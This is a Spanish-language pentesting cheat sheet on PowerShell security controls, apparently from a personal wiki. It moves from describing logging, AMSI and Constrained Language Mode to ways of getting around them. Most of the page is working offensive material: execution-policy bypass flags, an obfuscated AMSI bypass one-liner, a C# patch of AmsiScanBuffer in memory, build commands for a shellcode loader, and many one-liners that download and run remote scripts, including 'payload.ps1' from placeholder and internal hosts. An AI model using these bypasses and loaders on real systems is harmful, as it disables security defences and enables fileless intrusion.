PowerShell

Defensas de PowerShell

System-wide transcription

Graba toda la salida de las sesiones PowerShell (comandos y resultados). Cada comando y su salida quedan registrados. Si ejecutas Mimikatz en PS, va todo al log.

Se configura vía GPO:

  • Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription

Guarda logs en:

C:\Users\%USERNAME%\Documents\PowerShell_transcripts\

Script Block Logging

Registra bloques de código completos antes de ejecutarse (no solo comandos escritos a mano, sino scripts cargados). Guarda hasta el contenido de scripts ofuscados → PowerShell decompila la ofuscación simple. Tu y payload quedan registrados aunque nunca toquen disco.

Ejemplo: Si cargas un script con iex (iwr ...), el bloque completo puede aparecer en el log.

Log en Event Viewer → Windows PowerShell/Operational (Event ID 4104).

AMSI (Antimalware Scan Interface)

¿Qué es AMSI?

AMSI es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos en tiempo de ejecución, escaneándolos antes de ser ejecutados.

https://learn.microsoft.com/es-es/windows/win32/amsi/antimalware-scan-interface-portal

Interfaz entre PowerShell y el AV/EDR.

Antes de ejecutar un script, PowerShell manda el contenido a AMSI.dll, por lo que, el AV lo analiza en tiempo real.

  • Ejemplo: Si ejecutas Invoke-Mimikatz.ps1, AMSI lo detecta por firmas.

Logs: Windows Defender lo reporta en Operational log o en el SIEM.

AMSI bloquea muchos payloads conocidos. Es necesario evadirlo: Windows

Constrained Language Mode (CLM)

Modo restringido de PowerShell, limita el lenguaje a “seguro”.

Integrado con AppLocker / Windows Defender Application Control (WDAC).

Restricciones típicas:

  • No puedes invocar APIs .NET avanzadas.

  • Bloquea Add-Type, COM objects, acceso directo a memoria.

  • Scripts firmados por Microsoft siguen funcionando.

Cómo se activa: Automáticamente en sistemas con Device Guard, o vía políticas.

Técnicas clásicas como New-Object Net.WebClient, Add-Type, DllImport se encuentran bloqueadas.

Resumen

En cuanto a qué hace cada defensa:

  • Transcription (guarda todo lo que haces en texto)

  • Script Block Logging (logea el código cargado → EventID 4104)

  • AMSI (envía a AV/EDR antes de ejecutar)

  • CLM (limita qué puedes usar en PowerShell)

En PSv2 y anterior → no existe AMSI, CLM ni Script Block Logging → entorno mucho más “ciego”.

En PSv5+ → Blue Team tiene visibilidad total si no usas evasión.

Técnicas de bypass:

  • Invisi-Shell (hookea Automation.dll para saltar logging).

  • AMSI bypasses (modificar AmsiUtils en memoria).

  • Obfuscación (Invoke-Obfuscation).

  • Migrar a otro proceso (cargar DLLs directamente con C#).


Política de ejecución (Execution Policy)

Habilitar ejecución de scripts

El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).

powershell -nop -exec bypass

Otras vías de bypass:

powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand
$env:PSExecutionPolicyPreference="bypass"

Evasión de seguridad

Invisi-Shell

Invisi-Shell es una herramienta diseñada para bypassear las defensas de PowerShell. Lo que hace es enganchar (hookear) las librerías de .NET que usa PowerShell:

  • System.Management.Automation.dll

  • System.Core.dll

Utiliza la API de CLR Profiler (un DLL especial que el Common Language Runtime carga en tiempo de ejecución) para interceptar llamadas y modificar el comportamiento.

Descarga de la herramienta:

git clone "https://github.com/OmerYa/Invisi-Shell.git"

Ejecución:

  • Sin privilegios de administrador:

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
  • Con privilegios de administrador:

C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat

AMSI PowerShell Bypass

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

AMSI .NET Bypass

https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:

Windows 10

Por ejemplo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Loaders

Artefacto de carga (loader) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.

SilentLoader

https://github.com/xtormin/SilentLoader

git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"

Bypass de firmas conocidas en el código

Algunas formas de evadir las protecciones son:

  • Carga en memoria (fileless).

  • Identificación de las partes del script que son detectadas.

  • Ofuscación completa del script.

Carga en memoria

iex (iwr 'http://192.168.10.100/PowerView.ps1').Content

Identificación de partes detectadas

  • AMSITrigger: Te dice qué línea/parte del script dispara AMSI.

AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
  • DefenderCheck: Escanea un script y te indica qué strings son detectados por Windows Defender.

DefenderCheck.exe PowerUp.ps1

Esto te devuelve la posición en bytes donde hay una detección. Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.

. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2

Ofuscación completa

  • Invoke-Obfuscation:

    • Renombrar funciones y variables.

    • Codificar partes sensibles (ejemplo: "Invoke-Mimikatz" se convierte en algo ilegible).

    • Generar payloads en múltiples formatos (base64, rot13, string split, etc.).

Descarga de ficheros

One-liners de descarga

iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content

Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code

iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe

.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"

Consideraciones sobre versiones de PowerShell

PowerShell v1 (2006, Windows XP/2003)

Ejemplo:

iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')

PowerShell v2 (2009, Windows 7 / 2008R2)

Ejemplo:

iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')

PowerShell v3 (2012, Windows 8 / 2012 Server)

Ejemplos:

iex (iwr 'http://servidor/payload.ps1')

PowerShell v4 (2013, Windows 8.1 / 2012R2)

PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)

Ejemplos:

iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')

PowerShell Core (6, 7 → multiplataforma, 2018+)

Ejemplos:

Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result

Última actualización

¿Te fue útil?